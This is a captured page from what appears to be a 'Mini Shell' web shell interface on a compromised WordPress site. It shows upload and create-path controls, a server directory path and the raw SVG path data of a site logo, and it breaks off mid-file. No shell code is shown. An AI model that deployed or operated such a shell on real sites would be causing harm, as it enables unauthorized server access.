%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/maraton.eco-n-tech.co.uk/wp-content/uploads/2022/11/
Upload File :
Create Path :
Current File : /var/www/maraton.eco-n-tech.co.uk/wp-content/uploads/2022/11/Malmo-Weekly.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 27.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 768.6 329.2" style="enable-background:new 0 0 768.6 329.2;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#2D2D2D;}
	.st1{fill:#F7941D;}
	.st2{opacity:0.4;}
	.st3{fill:#FFFFFF;}
</style>
<g>
	<path class="st0" d="M332.9,171.6c3.4-12.3,7.6-24.2,12.8-35.6c5.2-11.4,10.4-22.3,15.7-32.6c3.4-6.7,6.8-12.9,10.3-18.5
		c3.5-5.6,6.8-10.7,10-15.3c2.1-3.6,3.3-7,3.5-10.3c0.2-3.3-0.2-6.3-1.3-9.2c-1.1-2.8-2.4-5.4-4.1-7.6c-1.7-2.2-3.4-4.2-5.1-5.9
		c-2.3-2.1-4.8-3.3-7.4-3.5c-2.6-0.2-4.7-0.1-6.2,0.3c-10.6,1.9-21,6.5-31.3,13.8c-10.3,7.3-20.2,15.9-29.6,25.8
		c-9.4,9.9-18.1,20.5-26.3,31.8c-8.1,11.3-15.3,21.9-21.7,31.8c1.1-2.7,2.2-5.5,3.5-8.2c1.3-2.7,2.6-5.5,4.1-8.2
		c3.2-6.1,6.3-11.8,9.5-17.1c3.2-5.3,6.2-10,9.2-14.2h0.3c2.1-3.6,3.2-7,3.3-10.3c0.1-3.3-0.3-6.3-1.3-9.2c-0.9-2.8-2.3-5.4-4.1-7.6
		c-1.8-2.2-3.4-4.1-4.9-5.5c-2.3-2.1-4.9-3.3-7.6-3.5c-2.7-0.2-4.9-0.2-6.3,0c-13.7,2.7-26.6,8.9-38.6,18.4
		c-12,9.5-23.1,20.3-33.2,32.3c3.4-7,7.4-14.4,12-22.5c5.3-9.7,7.6-17.7,7.1-24.1c-0.5-6.3-2.3-11.4-5.4-15.2
		c-3.1-3.8-6.6-6.5-10.6-8.1c-4-1.6-6.9-2.6-8.5-3c-8-1.7-15.9-2.3-23.7-1.9c-7.8,0.4-15.8,1.3-24.1,2.5c-8.2,1.3-16.7,2.7-25.3,4.3
		c-8.7,1.6-17.8,2.6-27.5,3c-8.9,0.4-16-0.2-21.5-1.7c-5.5-1.6-10-3.5-13.6-5.9c-4-2.5-7.2-5.5-9.5-8.9c-0.4-1.1-0.9-2-1.6-2.8
		c-1.3-1.9-2.7-3.1-4.4-3.5c-1.7-0.4-3.4-0.3-5.1,0.5c-1.7,0.7-3.1,2.3-4.1,4.6c-1.1,2.7-1.7,5.4-1.9,7.9c-0.2,2.5-0.1,4.9,0.3,7
		c0.4,2.3,0.9,4.6,1.6,7c3.2,9.3,8.8,15.8,16.9,19.5c8.1,3.7,17.4,5.6,27.8,5.9c10.4,0.2,21.5-0.8,33.1-3.2
		c11.6-2.3,22.6-4.9,33.1-7.8c10.4-2.8,19.6-5.4,27.5-7.8c7.9-2.3,13.3-3.4,16.3-3.2c3,0.2,5,0.6,6,1.3c1.1,0.6,1.9,1.5,2.5,2.5
		c0.2,0.2,0.3,0.4,0.3,0.6c0,0.2,0.1,0.5,0.3,0.9c0.2,0.6,0.3,1.6,0.2,2.8c-0.1,1.3-0.7,2.7-1.7,4.4c-0.4,0.4-0.9,1.3-1.6,2.5
		c-0.6,1.3-1.3,2.6-2.1,4.1c-0.7,1.5-1.5,2.8-2.2,4c-0.7,1.2-1.2,2-1.4,2.4c-0.8,1.5-1.6,2.8-2.4,4.1c-0.7,1.3-1.4,2.4-2.1,3.5
		c-1.5,2.7-2.9,5.4-4.3,8.1c-1.4,2.6-2.5,4.9-3.3,6.8c-3.8,7.4-7,14-9.5,19.9c-7.8,16-14.3,31-19.5,44.8c-5.2,13.8-9.3,26-12.5,36.6
		c-3.8,12.2-6.8,23.4-8.9,33.5c-0.2,1.9-0.2,3.7,0,5.4c0.2,1.5,0.6,2.8,1.3,4c0.6,1.2,1.8,1.9,3.5,2.4c1.5,0.4,3.7,0.6,6.8,0.5
		c3.1-0.1,6.1-0.5,9.2-1.3c3.1-0.7,5.9-1.9,8.5-3.5c2.6-1.6,4.4-3.9,5.2-6.8c0.4-1.3,0.8-3.1,1.1-5.4s0.8-5.3,1.4-8.9
		c3.2-15.4,7.9-29.7,14.2-43c6.3-13.3,13.3-25.3,21-36.1c7.7-10.8,15.7-20.3,23.9-28.6c8.2-8.3,15.8-15.4,22.6-21.2
		c6.9-5.8,12.5-10.2,17.1-13.3c4.5-3.1,7-4.7,7.4-4.9c-1.5,2.7-3.5,6.4-6,10.9c-2.5,4.5-4.9,8.8-7,12.8c-1.7,3.2-4.1,8.2-7.3,15
		c-3.2,6.9-6.5,14.5-10,22.8c-3.5,8.3-6.6,17-9.5,25.9c-2.8,9-4.8,17.2-5.9,24.8c-1.3,8.7-1.4,17.2-0.3,25.6
		c1.1,8.4,4.3,16,9.8,22.8c2.1,2.7,4.7,5.4,7.9,7.9c1.7,1.1,3.3,1.9,4.7,2.7c1.5,0.7,3.1,1.3,4.7,1.7h0.6c2.7,0.4,5-0.4,6.8-2.5
		c1.8-2.1,2.3-4.5,1.4-7.3c-1.1-3.8-1.9-7.4-2.5-10.9c-0.6-3.5-1.2-7-1.6-10.6c0-9.7,2.7-20.3,8.1-31.8c5.4-11.5,12.2-23,20.6-34.7
		c8.3-11.6,17.4-22.8,27.1-33.7c9.7-10.9,18.8-20.6,27.4-29.1c8.5-8.5,15.8-15.4,21.7-20.6c5.9-5.2,9.3-7.9,10.1-8.1
		c-1.7,3.2-3.7,6.9-6,11.1c-2.3,4.2-4.4,8.3-6.3,12.3c-1.9,3.8-5.3,10.1-10.1,18.8c-4.9,8.8-10,18.9-15.3,30.4
		c-5.4,11.5-10.4,23.8-15,36.9c-4.6,13.1-7.7,25.6-9.2,37.7c-1.1,8.9-1.1,17.5-0.2,25.8c0.9,8.3,4.2,15.9,9.7,22.6
		c2.3,3,5,5.6,7.9,7.9c3.4,2.3,6.6,3.8,9.8,4.4c3,0.6,5.3-0.2,7.1-2.4c1.8-2.2,2.3-4.7,1.4-7.4c-3.6-13.7-5-27.2-4.3-40.3
		C327.5,196.7,329.5,183.9,332.9,171.6z"/>
	<path class="st0" d="M760.7,154.7c-0.2-1.7-0.6-2.6-1.1-2.8c-0.5-0.2-1.2-0.1-2.1,0.3c-0.8,0.4-1.8,1.2-2.8,2.2
		c-2.3,2.3-5.8,5.1-10.4,8.2c-4.6,3.2-9.7,5.6-15.2,7.3c0.8-3.4,1.6-7.5,2.2-12.3c0.6-4.9,0.7-9.5,0.2-13.9c-0.5-4.4-2-8.3-4.3-11.7
		c-2.3-3.4-5.8-5.4-10.4-6c-3-0.4-5.7-0.1-8.4,0.9c-2.6,1.1-5,2.6-7.1,4.7c-5.5-3.4-10.7-4-15.5-1.9c-4.9,2.1-9.1,5.1-12.7,8.9
		c-4.2,4.4-8.1,10-11.7,16.8c-1.9,3.8-3.7,7.9-5.4,12.3c-1.5,3.8-2.8,8.2-4.1,13.1c-0.1,0.5-0.2,1-0.3,1.5c-0.6,0.7-1.1,1.4-1.3,2.1
		c-1.3,2.3-2.9,5.3-4.9,9c-2,3.7-4.3,7.2-6.8,10.6c-2.5,3.4-5.1,6.1-7.8,8.2c-2.6,2.1-5.2,2.8-7.8,2.2c-2.1-0.6-3.2-2.3-3.3-5.1
		c-0.1-2.7,0.4-6.1,1.4-10c1.1-3.9,2.5-8.1,4.4-12.7c1.9-4.5,3.8-8.9,5.9-13c2-4.1,3.8-7.8,5.5-10.9c1.7-3.2,3-5.5,3.8-7
		c1.3-2.3,2-4.3,2.2-6c0.2-1.7,0.2-3.1,0-4.1c-0.2-1.3-0.6-2.4-1.3-3.5c-2.5-2.7-5.2-5-7.9-6.6c-2.7-1.7-5.1-3-7-3.8
		c-3.8-1.9-8-1.3-12.5,1.7c-4.5,3.1-9.1,7.5-13.8,13.3c-4.6,5.8-9.1,12.4-13.5,19.9c-4.3,7.5-8.3,14.7-11.9,21.7
		c1.3-3.4,2.7-6.8,4.4-10.3c1.7-3.5,3.3-6.7,4.7-9.7c1.5-3,2.8-5.5,4.1-7.8c1.3-2.2,2.2-3.8,2.8-4.9c1.3-2.3,2-4.3,2.2-6
		c0.2-1.7,0.2-3.1,0-4.1c-0.2-1.3-0.6-2.4-1.3-3.5c-2.5-2.7-5.2-5-7.9-6.6c-2.7-1.7-5.1-3-7-3.8c-3.2-1.5-6.6-1.3-10.4,0.6
		c-3.8,1.9-7.7,5-11.6,9.2c-3.9,4.2-7.8,9.3-11.5,15.2c-3.8,5.9-7.4,11.9-10.8,18l2.8-7.6c0.4-1.3,1.1-2.8,1.9-4.7
		c0.8-1.9,1.6-3.7,2.2-5.4c0.8-1.7,1.8-3.6,2.8-5.9c1.1-2.2,1.7-3.5,1.9-4c0.2-0.2,0.3-0.5,0.3-0.9c1.1-1.5,1.7-2.8,1.9-4
		c0.2-1.2,0.3-2.3,0.3-3.3c0-0.8-0.1-1.6-0.3-2.2c-0.2-0.6-0.4-1.2-0.6-1.6c-0.2-0.6-0.4-1.1-0.6-1.3c-2.7-3-5.6-5.2-8.5-6.8
		c-3-1.6-5.3-2.6-7-3c-1.5-0.4-2.6-0.2-3.5,0.6c-0.8,0.8-1.6,1.7-2.2,2.5c-0.4,0.8-0.6,1.4-0.6,1.6c-0.2,0.2-0.3,0.4-0.3,0.6
		c-0.8,2.3-1.8,4.7-2.8,7.3c-1.1,2.3-2.2,5-3.3,8.1c-1.2,3.1-2.3,6.3-3.3,9.7c-0.2,1.1-0.7,2.6-1.6,4.7c-0.6,1.9-1.4,4.2-2.4,7
		c-0.9,2.7-1.9,5.6-2.7,8.5c-0.8,2.8-1.7,5.9-2.6,9.1c-0.1,0.1-0.2,0.3-0.2,0.4c-1.3,2.3-2.9,5.3-4.9,9c-2,3.7-4.3,7.2-6.8,10.6
		c-2.5,3.4-5.1,6.1-7.8,8.2c-2.6,2.1-5.2,2.8-7.8,2.2c-1.7-0.6-2.7-2.1-3.2-4.4v-1.3c-0.2-1.7-0.3-3.7-0.2-6.2
		c0.1-2.4,0.6-5.3,1.4-8.7c2.3-10.3,4.9-20,7.8-29.1c2.8-9.1,6.1-17.6,9.7-25.6c5.1-12.2,10.4-23.1,16.1-32.8
		c5.7-9.6,11-18,15.8-25.2c4.9-7.2,9.1-13,12.8-17.6c3.7-4.5,6.1-7.8,7.1-9.7c1.5-2.5,1.9-5.3,1.4-8.4c-0.5-3.1-1.6-6-3.2-8.7
		c-1.6-2.7-3.4-5.2-5.5-7.3c-2.1-2.1-3.8-3.6-5.1-4.4c-1.5-1.1-2.9-1.4-4.3-0.9c-1.4,0.4-2.6,1.1-3.6,1.9c-1.3,0.8-2.5,2-3.8,3.5
		c-6.8,9.7-13.6,20.9-20.6,33.5c-5.9,10.8-12.4,23.7-19.5,38.9c-7.1,15.2-13.8,32.1-20.1,50.6c-1.3,3.6-2.3,7.3-3.2,11.1
		c-0.8,3.4-1.7,7.2-2.7,11.6c-0.6,2.8-1.1,5.8-1.5,8.8c-0.1,0.2-0.2,0.4-0.3,0.6c-1.3,2.3-2.9,5.3-4.9,9c-2,3.7-4.3,7.2-6.8,10.4
		c-2.5,3.3-5.1,6-7.8,8.2c-2.6,2.2-5.1,2.9-7.4,2.1c-2.1-0.6-3.3-2.3-3.5-5.1c-0.2-2.7,0.2-6.1,1.3-10c1.1-3.9,2.5-8.1,4.4-12.7
		c1.9-4.5,3.8-8.9,5.9-13c2-4.1,3.8-7.8,5.5-10.9c1.7-3.2,3-5.5,3.8-7c1.3-2.3,2.1-4.3,2.4-6c0.3-1.7,0.4-3.1,0.2-4.1
		c-0.2-1.3-0.7-2.3-1.6-3.2c-2.7-3.2-5.7-5.7-8.9-7.6s-5.7-3.2-7.6-3.8c-1.1-0.4-2-0.3-2.8,0.3c-0.8,0.6-1.6,1.4-2.2,2.2
		c-0.8,0.8-1.5,1.9-1.9,3.2c-0.4,0.8-0.8,1.7-1.3,2.5c-0.8,2.1-1.8,4.2-2.8,6.3c-0.6-2.7-1.7-5.3-3.3-7.6c-1.6-2.3-4-4.1-7.1-5.4
		c-3.8-1.5-8.2-1.9-13.1-1.3c-5,0.6-10,2.7-15,6.2c-5.1,3.5-10.1,8.5-15.2,15.2c-5.1,6.6-9.6,15.3-13.6,26.1
		c-4,10.8-6.2,19.7-6.5,26.9c-0.3,7.2,0.5,12.9,2.5,17.2c2,4.3,4.9,7.4,8.5,9.3c3.7,1.9,7.4,3,11.2,3.2c5.3,0.4,10.8-1.5,16.6-5.7
		c5.8-4.2,11.1-10,16-17.4c-0.2,5.5,0.5,10.2,2.1,14.2c1.6,4,4.5,7,8.7,8.9c1.9,0.6,4,1.1,6.3,1.3c1.9,0.2,4,0.2,6.3-0.2
		c2.3-0.3,4.6-1.2,7-2.7c3.8-2.1,7.4-5.2,10.9-9.3c3.5-4.1,6.7-8.5,9.8-13.1c1.3-1.9,2.4-3.8,3.6-5.7c0.3,4.1,0.8,8.1,1.6,11.7
		c1.1,4,2.6,7.8,4.7,11.2c2.1,3.5,5.2,5.6,9.2,6.5c2.1,0.4,3.6,0.5,4.4,0.3c2.1-0.2,4.1-0.7,5.9-1.4c1.8-0.7,3.3-1.5,4.6-2.4
		l1.3-1.3c1.1-0.8,2.2-1.9,3.3-3c1.2-1.2,2.3-2.3,3.3-3.3c1.1-1.3,2.1-2.5,3.2-3.8c1.2-1.6,2.3-3.2,3.4-4.8
		c-0.8,4.5-1.3,8.6-1.5,12.4c-0.2,0.4-0.2,1.1,0,1.9c0,1.5,0.5,2.7,1.6,3.8c1.5,1.7,3.4,3.3,5.9,4.7c2.4,1.5,5.7,2.4,10,2.8
		c0.4,0,1-0.2,1.7-0.5c0.7-0.3,1.2-1.1,1.4-2.4c4.9-13.3,9.8-25.1,14.9-35.3c5.1-10.2,9.7-18.8,13.9-25.8
		c4.9-8.2,9.6-15.3,14.2-21.2l0.6-0.3c-2.5,6.1-5.1,13.1-7.8,20.9c-2.6,7.8-4.6,15.4-5.9,22.8c-1.3,7.4-1.5,14.2-0.8,20.4
		c0.7,6.2,3.2,10.8,7.4,13.8c0.6,0.4,1.6,0.9,3,1.4c1.4,0.5,2.9,0.9,4.6,1.1c0.4,0,0.9,0,1.6,0c0.6,0,1.3-0.1,1.9-0.3
		c0.6-0.4,1.3-0.9,2.1-1.4c0.7-0.5,1.4-1.3,2.1-2.4c4.6-12.5,9.3-23.4,14.1-32.9c4.7-9.5,9.1-17.4,13.1-23.7
		c4.6-7.4,9.1-13.8,13.3-19.3l0.6-0.3c-2.7,6.5-5.5,13.9-8.2,22c-2.7,8.1-4.6,16.1-5.7,23.9c-1.1,7.8-1,14.8,0.2,20.9
		c1.2,6.1,4.4,10.3,9.7,12.7c1.9,0.6,4,1.1,6.3,1.3c1.9,0.2,4,0.2,6.3-0.2c2.3-0.3,4.6-1.1,7-2.4c3.8-2.1,7.5-5.3,11.1-9.5
		c3.6-4.2,6.9-8.7,10-13.3c1-1.6,1.9-3.1,2.9-4.6c0.1,0.8,0,1.7,0.1,2.5c0.4,4.3,1.3,8.3,2.7,12c1.4,3.7,3.2,6.9,5.5,9.5
		c2.3,2.6,5.4,4.5,9.2,5.5c6.7,1.9,13.1,1.1,19.1-2.4c6-3.5,11.4-8.2,16.3-14.1c4.9-5.9,9.1-12.3,12.8-19.1c3.7-6.9,6.7-12.8,9-17.9
		c7-1.1,13.5-3.3,19.6-6.8c6.1-3.5,10.9-7.1,14.2-10.9c1.5-1.9,2.4-4.1,2.8-6.6C761,157.2,761,155.9,760.7,154.7z M408.5,162.7
		c-0.2,2.6-0.9,6.2-2.2,10.6l-0.9,2.9c-0.2,0.2-0.3,0.4-0.3,0.6c-3.4,8.4-6.9,15.8-10.4,22.2c-3.2,5.5-6.6,10.4-10.4,14.7
		c-3.8,4.3-7.7,6.2-11.7,5.5c-2.1-0.4-3.5-1.9-4.1-4.4c-0.4-2.3-0.2-5.8,0.6-10.4c0.8-4.6,3.3-11.4,7.3-20.3
		c4-8.6,7.6-15.2,10.8-19.6c3.2-4.4,6-7.6,8.4-9.5c2.4-1.9,4.4-2.9,5.9-3c1.5-0.1,2.5,0,3.2,0.2c0.4,0.2,1,0.6,1.7,1.1
		c0.7,0.5,1.4,1.6,1.9,3.2C408.6,158,408.7,160.1,408.5,162.7z M702.4,197.1c-2.6,5.1-5.4,9.5-8.4,13.3c-3,3.8-6,6.7-9.2,8.9
		c-3.2,2.1-6.1,2.7-8.9,1.9c-1.7-0.4-3-1.7-3.8-3.8c-0.8-1.7-1.4-4.2-1.6-7.6c-0.2-3.4,0.5-7.9,2.2-13.6c1.7-6.3,3.6-12.2,5.7-17.7
		c1.7-4.9,3.7-9.6,6-14.2c2.3-4.6,4.9-8.3,7.6-11.1c-0.4,4.4,0.1,8.8,1.4,13c1.4,4.2,3.8,7.8,7.4,10.8c2.7,2.3,5.6,3.9,8.5,4.7
		C707.4,186.8,705,192,702.4,197.1z M713.6,170.2c-0.8-0.2-1.9-0.7-3.2-1.4c-1.3-0.7-2.4-1.7-3.5-3c-1.1-1.3-1.9-2.8-2.5-4.6
		c-0.6-1.8-0.8-4-0.6-6.5c0.4-3.2,1.2-5.5,2.4-7c1.2-1.5,2.4-2.4,3.8-2.7c1.4-0.3,2.7-0.1,4,0.6c1.3,0.7,2.1,1.8,2.5,3.3
		C717.5,153.6,716.5,160.7,713.6,170.2z"/>
	<path class="st0" d="M727.5,122.9c1.3,0.9,2.6,1.7,4,2.4c1.4,0.6,2.7,1,4,1.1c1.3,0.1,2.2-0.4,2.8-1.4c2.1-2.3,3.7-4.3,4.9-5.9
		c1.2-1.6,2.1-2.9,2.7-4c0.8-1.7,1.1-3.5,0.8-5.4c-0.3-1.9-1-3.7-2.1-5.4c-1.1-1.7-2.3-3.2-3.6-4.4c-1.4-1.3-2.5-2.2-3.3-2.8
		c-1.7-1.1-3.4-0.9-5.1,0.3c-0.8,0.6-1.6,1.5-2.2,2.5c-0.2,0.6-0.6,1.4-1.3,2.2c-1.1,1.3-2.3,3.2-3.8,5.7c-1.1,1.3-1.8,3.2-2.4,5.7
		c-0.5,2.5,0.1,4.7,1.7,6.6C725.3,121,726.3,121.9,727.5,122.9z"/>
	<path class="st0" d="M702.8,113.7c1.3,0.9,2.6,1.7,4,2.4c1.4,0.6,2.7,1,4,1.1c1.3,0.1,2.2-0.4,2.8-1.4c2.1-2.3,3.7-4.3,4.9-5.9
		c1.2-1.6,2.1-2.9,2.7-4c0.8-1.7,1.1-3.5,0.8-5.4c-0.3-1.9-1-3.7-2.1-5.4c-1.1-1.7-2.3-3.2-3.6-4.4c-1.4-1.3-2.5-2.2-3.3-2.8
		c-1.7-1.1-3.4-0.9-5.1,0.3c-0.8,0.6-1.6,1.5-2.2,2.5c-0.2,0.6-0.6,1.4-1.3,2.2c-1.1,1.3-2.3,3.2-3.8,5.7c-1.1,1.3-1.8,3.2-2.4,5.7
		c-0.5,2.5,0.1,4.8,1.7,6.6C700.6,111.8,701.6,112.7,702.8,113.7z"/>
</g>
<g>
	<path class="st1" d="M322.3,164.5c3.4-12.3,7.6-24.2,12.8-35.6c5.2-11.4,10.4-22.3,15.7-32.6c3.4-6.7,6.8-12.9,10.3-18.5
		c3.5-5.6,6.8-10.7,10-15.3c2.1-3.6,3.3-7,3.5-10.3c0.2-3.3-0.2-6.3-1.3-9.2c-1.1-2.8-2.4-5.4-4.1-7.6c-1.7-2.2-3.4-4.2-5.1-5.9
		c-2.3-2.1-4.8-3.3-7.4-3.5c-2.6-0.2-4.7-0.1-6.2,0.3c-10.6,1.9-21,6.5-31.3,13.8c-10.3,7.3-20.2,15.9-29.6,25.8
		c-9.4,9.9-18.1,20.5-26.3,31.8c-8.1,11.3-15.3,21.9-21.7,31.8c1.1-2.7,2.2-5.5,3.5-8.2c1.3-2.7,2.6-5.5,4.1-8.2
		c3.2-6.1,6.3-11.8,9.5-17.1c3.2-5.3,6.2-10,9.2-14.2h0.3c2.1-3.6,3.2-7,3.3-10.3c0.1-3.3-0.3-6.3-1.3-9.2c-0.9-2.8-2.3-5.4-4.1-7.6
		c-1.8-2.2-3.4-4.1-4.9-5.5c-2.3-2.1-4.9-3.3-7.6-3.5c-2.7-0.2-4.9-0.2-6.3,0c-13.7,2.7-26.6,8.9-38.6,18.4
		c-12,9.5-23.1,20.3-33.2,32.3c3.4-7,7.4-14.4,12-22.5c5.3-9.7,7.6-17.7,7.1-24.1c-0.5-6.3-2.3-11.4-5.4-15.2
		c-3.1-3.8-6.6-6.5-10.6-8.1c-4-1.6-6.9-2.6-8.5-3c-8-1.7-15.9-2.3-23.7-1.9c-7.8,0.4-15.8,1.3-24.1,2.5c-8.2,1.3-16.7,2.7-25.3,4.3
		c-8.7,1.6-17.8,2.6-27.5,3c-8.9,0.4-16-0.2-21.5-1.7c-5.5-1.6-10-3.5-13.6-5.9c-4-2.5-7.2-5.5-9.5-8.9c-0.4-1.1-0.9-2-1.6-2.8
		c-1.3-1.9-2.7-3.1-4.4-3.5c-1.7-0.4-3.4-0.3-5.1,0.5c-1.7,0.7-3.1,2.3-4.1,4.6c-1.1,2.7-1.7,5.4-1.9,7.9c-0.2,2.5-0.1,4.9,0.3,7
		c0.4,2.3,0.9,4.6,1.6,7c3.2,9.3,8.8,15.8,16.9,19.5c8.1,3.7,17.4,5.6,27.8,5.9c10.4,0.2,21.5-0.8,33.1-3.2
		c11.6-2.3,22.6-4.9,33.1-7.8c10.4-2.8,19.6-5.4,27.5-7.8c7.9-2.3,13.3-3.4,16.3-3.2c3,0.2,5,0.6,6,1.3c1.1,0.6,1.9,1.5,2.5,2.5
		c0.2,0.2,0.3,0.4,0.3,0.6c0,0.2,0.1,0.5,0.3,0.9c0.2,0.6,0.3,1.6,0.2,2.8c-0.1,1.3-0.7,2.7-1.7,4.4c-0.4,0.4-0.9,1.3-1.6,2.5
		c-0.6,1.3-1.3,2.6-2.1,4.1c-0.7,1.5-1.5,2.8-2.2,4c-0.7,1.2-1.2,2-1.4,2.4c-0.8,1.5-1.6,2.8-2.4,4.1c-0.7,1.3-1.4,2.4-2.1,3.5
		c-1.5,2.7-2.9,5.4-4.3,8.1c-1.4,2.6-2.5,4.9-3.3,6.8c-3.8,7.4-7,14-9.5,19.9c-7.8,16-14.3,31-19.5,44.8c-5.2,13.8-9.3,26-12.5,36.6
		c-3.8,12.2-6.8,23.4-8.9,33.5c-0.2,1.9-0.2,3.7,0,5.4c0.2,1.5,0.6,2.8,1.3,4c0.6,1.2,1.8,1.9,3.5,2.4c1.5,0.4,3.7,0.6,6.8,0.5
		c3.1-0.1,6.1-0.5,9.2-1.3c3.1-0.7,5.9-1.9,8.5-3.5c2.6-1.6,4.4-3.9,5.2-6.8c0.4-1.3,0.8-3.1,1.1-5.4s0.8-5.3,1.4-8.9
		c3.2-15.4,7.9-29.7,14.2-43c6.3-13.3,13.3-25.3,21-36.1c7.7-10.8,15.7-20.3,23.9-28.6c8.2-8.3,15.8-15.4,22.6-21.2
		c6.9-5.8,12.5-10.2,17.1-13.3c4.5-3.1,7-4.7,7.4-4.9c-1.5,2.7-3.5,6.4-6,10.9c-2.5,4.5-4.9,8.8-7,12.8c-1.7,3.2-4.1,8.2-7.3,15
		c-3.2,6.9-6.5,14.5-10,22.8c-3.5,8.3-6.6,17-9.5,25.9c-2.8,9-4.8,17.2-5.9,24.8c-1.3,8.7-1.4,17.2-0.3,25.6
		c1.1,8.4,4.3,16,9.8,22.8c2.1,2.7,4.7,5.4,7.9,7.9c1.7,1.1,3.3,1.9,4.7,2.7c1.5,0.7,3.1,1.3,4.7,1.7h0.6c2.7,0.4,5-0.4,6.8-2.5
		c1.8-2.1,2.3-4.5,1.4-7.3c-1.1-3.8-1.9-7.4-2.5-10.9c-0.6-3.5-1.2-7-1.6-10.6c0-9.7,2.7-20.3,8.1-31.8c5.4-11.5,12.2-23,20.6-34.7
		c8.3-11.6,17.4-22.8,27.1-33.7c9.7-10.9,18.8-20.6,27.4-29.1c8.5-8.5,15.8-15.4,21.7-20.6c5.9-5.2,9.3-7.9,10.1-8.1
		c-1.7,3.2-3.7,6.9-6,11.1c-2.3,4.2-4.4,8.3-6.3,12.3c-1.9,3.8-5.3,10.1-10.1,18.8c-4.9,8.8-10,18.9-15.3,30.4
		c-5.4,11.5-10.4,23.8-15,36.9c-4.6,13.1-7.7,25.6-9.2,37.7c-1.1,8.9-1.1,17.5-0.2,25.8c0.9,8.3,4.2,15.9,9.7,22.6
		c2.3,3,5,5.6,7.9,7.9c3.4,2.3,6.6,3.8,9.8,4.4c3,0.6,5.3-0.2,7.1-2.4c1.8-2.2,2.3-4.7,1.4-7.4c-3.6-13.7-5-27.2-4.3-40.3
		C316.8,189.6,318.9,176.8,322.3,164.5z"/>
	<path class="st1" d="M750.1,147.6c-0.2-1.7-0.6-2.6-1.1-2.8c-0.5-0.2-1.2-0.1-2.1,0.3c-0.8,0.4-1.8,1.2-2.8,2.2
		c-2.3,2.3-5.8,5.1-10.4,8.2c-4.6,3.2-9.7,5.6-15.2,7.3c0.8-3.4,1.6-7.5,2.2-12.3c0.6-4.9,0.7-9.5,0.2-13.9c-0.5-4.4-2-8.3-4.3-11.7
		c-2.3-3.4-5.8-5.4-10.4-6c-3-0.4-5.7-0.1-8.4,0.9c-2.6,1.1-5,2.6-7.1,4.7c-5.5-3.4-10.7-4-15.5-1.9c-4.9,2.1-9.1,5.1-12.7,8.9
		c-4.2,4.4-8.1,10-11.7,16.8c-1.9,3.8-3.7,7.9-5.4,12.3c-1.5,3.8-2.8,8.2-4.1,13.1c-0.1,0.5-0.2,1-0.3,1.5c-0.6,0.7-1.1,1.4-1.3,2.1
		c-1.3,2.3-2.9,5.3-4.9,9c-2,3.7-4.3,7.2-6.8,10.6c-2.5,3.4-5.1,6.1-7.8,8.2c-2.6,2.1-5.2,2.8-7.8,2.2c-2.1-0.6-3.2-2.3-3.3-5.1
		c-0.1-2.7,0.4-6.1,1.4-10c1.1-3.9,2.5-8.1,4.4-12.7c1.9-4.5,3.8-8.9,5.9-13c2-4.1,3.8-7.8,5.5-10.9c1.7-3.2,3-5.5,3.8-7
		c1.3-2.3,2-4.3,2.2-6c0.2-1.7,0.2-3.1,0-4.1c-0.2-1.3-0.6-2.4-1.3-3.5c-2.5-2.7-5.2-5-7.9-6.6c-2.7-1.7-5.1-3-7-3.8
		c-3.8-1.9-8-1.3-12.5,1.7c-4.5,3.1-9.1,7.5-13.8,13.3c-4.6,5.8-9.1,12.4-13.5,19.9c-4.3,7.5-8.3,14.7-11.9,21.7
		c1.3-3.4,2.7-6.8,4.4-10.3c1.7-3.5,3.3-6.7,4.7-9.7c1.5-3,2.8-5.5,4.1-7.8c1.3-2.2,2.2-3.8,2.8-4.9c1.3-2.3,2-4.3,2.2-6
		c0.2-1.7,0.2-3.1,0-4.1c-0.2-1.3-0.6-2.4-1.3-3.5c-2.5-2.7-5.2-5-7.9-6.6c-2.7-1.7-5.1-3-7-3.8c-3.2-1.5-6.6-1.3-10.4,0.6
